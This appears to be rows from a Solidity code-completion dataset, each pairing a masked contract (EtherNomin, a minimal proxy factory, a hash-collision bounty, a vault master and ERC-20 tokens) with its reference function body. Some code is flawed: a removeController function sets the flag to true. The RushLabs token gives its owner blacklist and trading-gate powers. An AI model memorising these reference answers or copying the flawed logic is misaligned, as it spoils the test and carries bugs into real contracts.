* again accept and transfer nomins. */
function unfreezeAccount(address target)
external
optionalProxy_onlyOwner
{
if (frozen[target] && EtherNomin(target) != this) {
frozen[target] = false;
emit AccountUnfrozen(target, target);
}
}
/* Fallback function allows convenient collateralisation of the contract,
* including by non-foundation parties. */
function() public payable {}
/* ========== MODIFIERS ========== */
modifier notLiquidating
{
require(!isLiquidating());
_;
}
modifier priceNotStale
{
require(!priceIsStale());
_;
}
/* Any function modified by this will automatically liquidate
* the system if the collateral levels are too low.
* This is called on collateral-value/nomin-supply modifying functions that can
* actually move the contract into liquidation. This is really only
* the price update, since issuance requires that the contract is overcollateralised,
* burning can only destroy tokens without withdrawing backing, buying from the pool can only
* asymptote to a collateralisation level of unity, while selling into the pool can only
* increase the collateralisation ratio.
* Additionally, price update checks should/will occur frequently. */
modifier postCheckAutoLiquidate
{
_;
if (!isLiquidating() && _nominCap() != 0 && collateralisationRatio() < AUTO_LIQUIDATION_RATIO) {
beginLiquidation();
}
}
/* ========== EVENTS ========== */
event PoolReplenished(uint nominsCreated, uint collateralDeposited);
event PoolDiminished(uint nominsDestroyed);
event Purchased(address buyer, address indexed buyerIndex, uint nomins, uint eth);
event Sold(address seller, address indexed sellerIndex, uint nomins, uint eth);
event PriceUpdated(uint newPrice);
event StalePeriodUpdated(uint newPeriod);
event OracleUpdated(address newOracle);
event CourtUpdated(address newCourt);
event BeneficiaryUpdated(address newBeneficiary);
event LiquidationBegun(uint duration);
event LiquidationTerminated();
event LiquidationExtended(uint extension);
event PoolFeeRateUpdated(uint newFeeRate);
event SelfDestructed(address beneficiary);
event AccountFrozen(address target, address indexed targetIndex, uint balance);
event AccountUnfrozen(address target, address indexed targetIndex);
} |
oracle = _oracle;
beneficiary = _beneficiary;
etherPrice = initialEtherPrice;
lastPriceUpdate = now;
emit PriceUpdated(etherPrice);
// It should not be possible to transfer to the nomin contract itself.
frozen[this] = true;
| function EtherNomin(address _havven, address _oracle,
address _beneficiary,
uint initialEtherPrice,
address _owner, TokenState initialState)
ExternStateProxyFeeToken("Ether-Backed USD Nomins", "eUSD",
15 * UNIT / 10000, // nomin transfers incur a 15 bp fee
_havven, // the havven contract is the fee authority
initialState,
_owner)
public
| /* ========== CONSTRUCTOR ========== */
function EtherNomin(address _havven, address _oracle,
address _beneficiary,
uint initialEtherPrice,
address _owner, TokenState initialState)
ExternStateProxyFeeToken("Ether-Backed USD Nomins", "eUSD",
15 * UNIT / 10000, // nomin transfers incur a 15 bp fee
_havven, // the havven contract is the fee authority
initialState,
_owner)
public
|
56216 | MinimalProxyFactory | createVesting | contract MinimalProxyFactory {
using Address for address;
event VestingCreated(address indexed _address, bytes32 _salt);
constructor() public {
}
function createVesting(address _implementation, bytes32 _salt, bytes memory _data) public virtual returns (address addr) {<FILL_FUNCTION_BODY> }
} | contract MinimalProxyFactory {
using Address for address;
event VestingCreated(address indexed _address, bytes32 _salt);
constructor() public {
}
<FILL_FUNCTION>
} |
bytes32 salt = keccak256(abi.encodePacked(_salt, msg.sender));
// solium-disable-next-line security/no-inline-assembly
bytes memory slotcode = abi.encodePacked(
hex"3d602d80600a3d3981f3363d3d373d3d3d363d73",
_implementation,
hex"5af43d82803e903d91602b57fd5bf3"
);
assembly {
addr := create2(0, add(slotcode, 0x20), mload(slotcode), salt)
}
require(addr != address(0), "MinimalProxyFactory#createVesting: CREATION_FAILED");
emit VestingCreated(addr, _salt);
if (_data.length > 0) {
(bool success,) = addr.call(_data);
require(success, "MinimalProxyFactory#createVesting: CALL_FAILED");
}
| function createVesting(address _implementation, bytes32 _salt, bytes memory _data) public virtual returns (address addr) | function createVesting(address _implementation, bytes32 _salt, bytes memory _data) public virtual returns (address addr) |
80551 | Base | claimReward | contract Base {
event LogString(string str);
address payable internal operator;
uint256 constant internal MINIMUM_TIME_TO_REVEAL = 1 days;
uint256 constant internal TIME_TO_ALLOW_REVOKE = 7 days;
bool internal isRevokeStarted = false;
uint256 internal revokeTime = 0; // The time from which we can revoke.
bool internal active = true;
// mapping: (address, commitment) -> time
// Times from which the users may claim the reward.
mapping (address => mapping (bytes32 => uint256)) private reveal_timestamps;
constructor ()
internal
{
operator = msg.sender;
}
modifier onlyOperator()
{
require(msg.sender == operator, "ONLY_OPERATOR");
_; // The _; defines where the called function is executed.
}
function register(bytes32 commitment)
public
{
require(reveal_timestamps[msg.sender][commitment] == 0, "Entry already registered.");
reveal_timestamps[msg.sender][commitment] = now + MINIMUM_TIME_TO_REVEAL;
}
/*
Makes sure that the commitment was registered at least MINIMUM_TIME_TO_REVEAL before
the current time.
*/
function verifyTimelyRegistration(bytes32 commitment)
internal view
{
uint256 registrationMaturationTime = reveal_timestamps[msg.sender][commitment];
require(registrationMaturationTime != 0, "Commitment is not registered.");
require(now >= registrationMaturationTime, "Time for reveal has not passed yet.");
}
/*
WARNING: This function should only be used with call() and not transact().
Creating a transaction that invokes this function might reveal the collision and make it
subject to front-running.
*/
function calcCommitment(uint256[] memory firstInput, uint256[] memory secondInput)
public view
returns (bytes32 commitment)
{
address sender = msg.sender;
uint256 firstLength = firstInput.length;
uint256 secondLength = secondInput.length;
uint256[] memory hash_elements = new uint256[](1 + firstLength + secondLength);
hash_elements[0] = uint256(sender);
uint256 offset = 1;
for (uint256 i = 0; i < firstLength; i++) {
hash_elements[offset + i] = firstInput[i];
}
offset = 1 + firstLength;
for (uint256 i = 0; i < secondLength; i++) {
hash_elements[offset + i] = secondInput[i];
}
commitment = keccak256(abi.encodePacked(hash_elements));
}
function claimReward(
uint256[] memory firstInput,
uint256[] memory secondInput,
string memory solutionDescription,
string memory name)
public
{<FILL_FUNCTION_BODY> }
function applyHash(uint256[] memory elements)
public view
returns (uint256[] memory elementsHash)
{
elementsHash = sponge(elements);
}
function startRevoke()
public
onlyOperator()
{
require(isRevokeStarted == false, "Revoke already started.");
isRevokeStarted = true;
revokeTime = now + TIME_TO_ALLOW_REVOKE;
}
function revokeReward()
public
onlyOperator()
{
require(isRevokeStarted == true, "Revoke not started yet.");
require(now >= revokeTime, "Revoke time not passed.");
active = false;
operator.transfer(address(this).balance);
}
function sponge(uint256[] memory inputs)
internal view
returns (uint256[] memory outputElements);
function getStatus()
public view
returns (bool[] memory status)
{
status = new bool[](2);
status[0] = isRevokeStarted;
status[1] = active;
}
} | contract Base {
event LogString(string str);
address payable internal operator;
uint256 constant internal MINIMUM_TIME_TO_REVEAL = 1 days;
uint256 constant internal TIME_TO_ALLOW_REVOKE = 7 days;
bool internal isRevokeStarted = false;
uint256 internal revokeTime = 0; // The time from which we can revoke.
bool internal active = true;
// mapping: (address, commitment) -> time
// Times from which the users may claim the reward.
mapping (address => mapping (bytes32 => uint256)) private reveal_timestamps;
constructor ()
internal
{
operator = msg.sender;
}
modifier onlyOperator()
{
require(msg.sender == operator, "ONLY_OPERATOR");
_; // The _; defines where the called function is executed.
}
function register(bytes32 commitment)
public
{
require(reveal_timestamps[msg.sender][commitment] == 0, "Entry already registered.");
reveal_timestamps[msg.sender][commitment] = now + MINIMUM_TIME_TO_REVEAL;
}
/*
Makes sure that the commitment was registered at least MINIMUM_TIME_TO_REVEAL before
the current time.
*/
function verifyTimelyRegistration(bytes32 commitment)
internal view
{
uint256 registrationMaturationTime = reveal_timestamps[msg.sender][commitment];
require(registrationMaturationTime != 0, "Commitment is not registered.");
require(now >= registrationMaturationTime, "Time for reveal has not passed yet.");
}
/*
WARNING: This function should only be used with call() and not transact().
Creating a transaction that invokes this function might reveal the collision and make it
subject to front-running.
*/
function calcCommitment(uint256[] memory firstInput, uint256[] memory secondInput)
public view
returns (bytes32 commitment)
{
address sender = msg.sender;
uint256 firstLength = firstInput.length;
uint256 secondLength = secondInput.length;
uint256[] memory hash_elements = new uint256[](1 + firstLength + secondLength);
hash_elements[0] = uint256(sender);
uint256 offset = 1;
for (uint256 i = 0; i < firstLength; i++) {
hash_elements[offset + i] = firstInput[i];
}
offset = 1 + firstLength;
for (uint256 i = 0; i < secondLength; i++) {
hash_elements[offset + i] = secondInput[i];
}
commitment = keccak256(abi.encodePacked(hash_elements));
}
<FILL_FUNCTION>
function applyHash(uint256[] memory elements)
public view
returns (uint256[] memory elementsHash)
{
elementsHash = sponge(elements);
}
function startRevoke()
public
onlyOperator()
{
require(isRevokeStarted == false, "Revoke already started.");
isRevokeStarted = true;
revokeTime = now + TIME_TO_ALLOW_REVOKE;
}
function revokeReward()
public
onlyOperator()
{
require(isRevokeStarted == true, "Revoke not started yet.");
require(now >= revokeTime, "Revoke time not passed.");
active = false;
operator.transfer(address(this).balance);
}
function sponge(uint256[] memory inputs)
internal view
returns (uint256[] memory outputElements);
function getStatus()
public view
returns (bool[] memory status)
{
status = new bool[](2);
status[0] = isRevokeStarted;
status[1] = active;
}
} |
require(active == true, "This challenge is no longer active. Thank you for participating.");
require(firstInput.length > 0, "First input cannot be empty.");
require(secondInput.length > 0, "Second input cannot be empty.");
require(firstInput.length == secondInput.length, "Input lengths are not equal.");
uint256 inputLength = firstInput.length;
bool sameInput = true;
for (uint256 i = 0; i < inputLength; i++) {
if (firstInput[i] != secondInput[i]) {
sameInput = false;
}
}
require(sameInput == false, "Inputs are equal.");
bool sameHash = true;
uint256[] memory firstHash = applyHash(firstInput);
uint256[] memory secondHash = applyHash(secondInput);
require(firstHash.length == secondHash.length, "Output lengths are not equal.");
uint256 outputLength = firstHash.length;
for (uint256 i = 0; i < outputLength; i++) {
if (firstHash[i] != secondHash[i]) {
sameHash = false;
}
}
require(sameHash == true, "Not a collision.");
verifyTimelyRegistration(calcCommitment(firstInput, secondInput));
active = false;
emit LogString(solutionDescription);
emit LogString(name);
msg.sender.transfer(address(this).balance);
| function claimReward(
uint256[] memory firstInput,
uint256[] memory secondInput,
string memory solutionDescription,
string memory name)
public
| function claimReward(
uint256[] memory firstInput,
uint256[] memory secondInput,
string memory solutionDescription,
string memory name)
public
|
54365 | CompositeVaultMaster | null | contract CompositeVaultMaster {
address public governance;
address public valueToken = address(0x49E833337ECe7aFE375e44F4E3e8481029218E5c);
address public govVault = address(0xceC03a960Ea678A2B6EA350fe0DbD1807B22D875); // 14.0% profit from Value Vaults
address public insuranceFund = 0xb7b2Ea8A1198368f950834875047aA7294A2bDAa; // set to Governance Multisig at start
address public performanceReward = 0x7Be4D5A99c903C437EC77A20CB6d0688cBB73c7f; // set to deploy wallet at start
uint256 public govVaultProfitShareFee = 1400; // 14.0% | VIP-7 (https://yfv.finance/vip-vote/vip_7)
uint256 public gasFee = 50; // 0.5% at start and can be set by governance decision
uint256 public insuranceFee = 0; // 6% | VIP-10 (to compensate who lost during the exploit on Nov 14 2020)
uint256 public withdrawalProtectionFee = 0; // % of withdrawal go back to vault (for auto-compounding) to protect withdrawals
mapping(address => address) public bank;
mapping(address => bool) public isVault;
mapping(address => bool) public isController;
mapping(address => bool) public isStrategy;
mapping(address => uint) public slippage; // over 10000
constructor(address _valueToken) public {<FILL_FUNCTION_BODY> }
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setBank(address _vault, address _bank) external {
require(msg.sender == governance, "!governance");
bank[_vault] = _bank;
}
function addVault(address _vault) external {
require(msg.sender == governance, "!governance");
isVault[_vault] = true;
}
function removeVault(address _vault) external {
require(msg.sender == governance, "!governance");
isVault[_vault] = false;
}
function addController(address _controller) external {
require(msg.sender == governance, "!governance");
isController[_controller] = true;
}
function removeController(address _controller) external {
require(msg.sender == governance, "!governance");
isController[_controller] = true;
}
function addStrategy(address _strategy) external {
require(msg.sender == governance, "!governance");
isStrategy[_strategy] = true;
}
function removeStrategy(address _strategy) external {
require(msg.sender == governance, "!governance");
isStrategy[_strategy] = false;
}
function setGovVault(address _govVault) public {
require(msg.sender == governance, "!governance");
govVault = _govVault;
}
function setInsuranceFund(address _insuranceFund) public {
require(msg.sender == governance, "!governance");
insuranceFund = _insuranceFund;
}
function setPerformanceReward(address _performanceReward) public{
require(msg.sender == governance, "!governance");
performanceReward = _performanceReward;
}
function setGovVaultProfitShareFee(uint256 _govVaultProfitShareFee) public {
require(msg.sender == governance, "!governance");
require(_govVaultProfitShareFee <= 3000, "_govVaultProfitShareFee over 30%");
govVaultProfitShareFee = _govVaultProfitShareFee;
}
function setGasFee(uint256 _gasFee) public {
require(msg.sender == governance, "!governance");
require(_gasFee <= 500, "_gasFee over 5%");
gasFee = _gasFee;
}
function setInsuranceFee(uint256 _insuranceFee) public {
require(msg.sender == governance, "!governance");
require(_insuranceFee <= 2000, "_insuranceFee over 20%");
insuranceFee = _insuranceFee;
}
function setWithdrawalProtectionFee(uint256 _withdrawalProtectionFee) public {
require(msg.sender == governance, "!governance");
require(_withdrawalProtectionFee <= 100, "_withdrawalProtectionFee over 1%");
withdrawalProtectionFee = _withdrawalProtectionFee;
}
function setSlippage(address _token, uint _slippage) external {
require(msg.sender == governance, "!governance");
require(_slippage <= 1000, ">10%");
slippage[_token] = _slippage;
}
function convertSlippage(address _input, address _output) view external returns (uint) {
uint _is = slippage[_input];
uint _os = slippage[_output];
return (_is > _os) ? _is : _os;
}
/**
* This function allows governance to take unsupported tokens out of the contract. This is in an effort to make someone whole, should they seriously mess up.
* There is no guarantee governance will vote to return these. It also allows for removal of airdropped tokens.
*/
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external {
require(msg.sender == governance, "!governance");
_token.transfer(to, amount);
}
} | contract CompositeVaultMaster {
address public governance;
address public valueToken = address(0x49E833337ECe7aFE375e44F4E3e8481029218E5c);
address public govVault = address(0xceC03a960Ea678A2B6EA350fe0DbD1807B22D875); // 14.0% profit from Value Vaults
address public insuranceFund = 0xb7b2Ea8A1198368f950834875047aA7294A2bDAa; // set to Governance Multisig at start
address public performanceReward = 0x7Be4D5A99c903C437EC77A20CB6d0688cBB73c7f; // set to deploy wallet at start
uint256 public govVaultProfitShareFee = 1400; // 14.0% | VIP-7 (https://yfv.finance/vip-vote/vip_7)
uint256 public gasFee = 50; // 0.5% at start and can be set by governance decision
uint256 public insuranceFee = 0; // 6% | VIP-10 (to compensate who lost during the exploit on Nov 14 2020)
uint256 public withdrawalProtectionFee = 0; // % of withdrawal go back to vault (for auto-compounding) to protect withdrawals
mapping(address => address) public bank;
mapping(address => bool) public isVault;
mapping(address => bool) public isController;
mapping(address => bool) public isStrategy;
mapping(address => uint) public slippage; <FILL_FUNCTION>
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setBank(address _vault, address _bank) external {
require(msg.sender == governance, "!governance");
bank[_vault] = _bank;
}
function addVault(address _vault) external {
require(msg.sender == governance, "!governance");
isVault[_vault] = true;
}
function removeVault(address _vault) external {
require(msg.sender == governance, "!governance");
isVault[_vault] = false;
}
function addController(address _controller) external {
require(msg.sender == governance, "!governance");
isController[_controller] = true;
}
function removeController(address _controller) external {
require(msg.sender == governance, "!governance");
isController[_controller] = true;
}
function addStrategy(address _strategy) external {
require(msg.sender == governance, "!governance");
isStrategy[_strategy] = true;
}
function removeStrategy(address _strategy) external {
require(msg.sender == governance, "!governance");
isStrategy[_strategy] = false;
}
function setGovVault(address _govVault) public {
require(msg.sender == governance, "!governance");
govVault = _govVault;
}
function setInsuranceFund(address _insuranceFund) public {
require(msg.sender == governance, "!governance");
insuranceFund = _insuranceFund;
}
function setPerformanceReward(address _performanceReward) public{
require(msg.sender == governance, "!governance");
performanceReward = _performanceReward;
}
function setGovVaultProfitShareFee(uint256 _govVaultProfitShareFee) public {
require(msg.sender == governance, "!governance");
require(_govVaultProfitShareFee <= 3000, "_govVaultProfitShareFee over 30%");
govVaultProfitShareFee = _govVaultProfitShareFee;
}
function setGasFee(uint256 _gasFee) public {
require(msg.sender == governance, "!governance");
require(_gasFee <= 500, "_gasFee over 5%");
gasFee = _gasFee;
}
function setInsuranceFee(uint256 _insuranceFee) public {
require(msg.sender == governance, "!governance");
require(_insuranceFee <= 2000, "_insuranceFee over 20%");
insuranceFee = _insuranceFee;
}
function setWithdrawalProtectionFee(uint256 _withdrawalProtectionFee) public {
require(msg.sender == governance, "!governance");
require(_withdrawalProtectionFee <= 100, "_withdrawalProtectionFee over 1%");
withdrawalProtectionFee = _withdrawalProtectionFee;
}
function setSlippage(address _token, uint _slippage) external {
require(msg.sender == governance, "!governance");
require(_slippage <= 1000, ">10%");
slippage[_token] = _slippage;
}
function convertSlippage(address _input, address _output) view external returns (uint) {
uint _is = slippage[_input];
uint _os = slippage[_output];
return (_is > _os) ? _is : _os;
}
/**
* This function allows governance to take unsupported tokens out of the contract. This is in an effort to make someone whole, should they seriously mess up.
* There is no guarantee governance will vote to return these. It also allows for removal of airdropped tokens.
*/
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external {
require(msg.sender == governance, "!governance");
_token.transfer(to, amount);
}
} |
if (_valueToken != address(0)) valueToken = _valueToken;
governance = msg.sender;
| constructor(address _valueToken) public | // over 10000
constructor(address _valueToken) public |
7311 | python | approveAndCall | contract python {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 1;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
) public {
totalSupply = 120000000000 * 1 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = 120000000000; // Give the creator all initial tokens
name = 'Python'; // Set the name for display purposes
symbol = 'ptn'; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {<FILL_FUNCTION_BODY> }
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | contract python {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 1;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
) public {
totalSupply = 120000000000 * 1 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = 120000000000; // Give the creator all initial tokens
name = 'Python'; // Set the name for display purposes
symbol = 'ptn'; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
<FILL_FUNCTION>
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} |
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
| function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) | /**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) |
15679 | RushLabs | swapTokensForEth | contract RushLabs is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _feeAddr1 = 0;
uint256 public _feeAddr2 = 20;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "RushLabs";
string private constant _symbol = "RUSH";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x14f8FaE5e8efEA085BcD8CB6C3afbcC42E331aB8);
_feeAddrWallet2 = payable(0x14f8FaE5e8efEA085BcD8CB6C3afbcC42E331aB8);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(tradingOpen || from == uniswapV2Pair || from == owner() || to == owner() || from == address(this) || to == address(this), "not able to trade");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {<FILL_FUNCTION_BODY> }
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), ~uint256(0));
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), ~uint256(0));
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function setMaxTxPercent(uint256 _maxTxPercent) external onlyOwner {
require(_maxTxPercent <= 10000, "!max tx percent");
_maxTxAmount = _tTotal.mul(_maxTxPercent).div(10000);
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
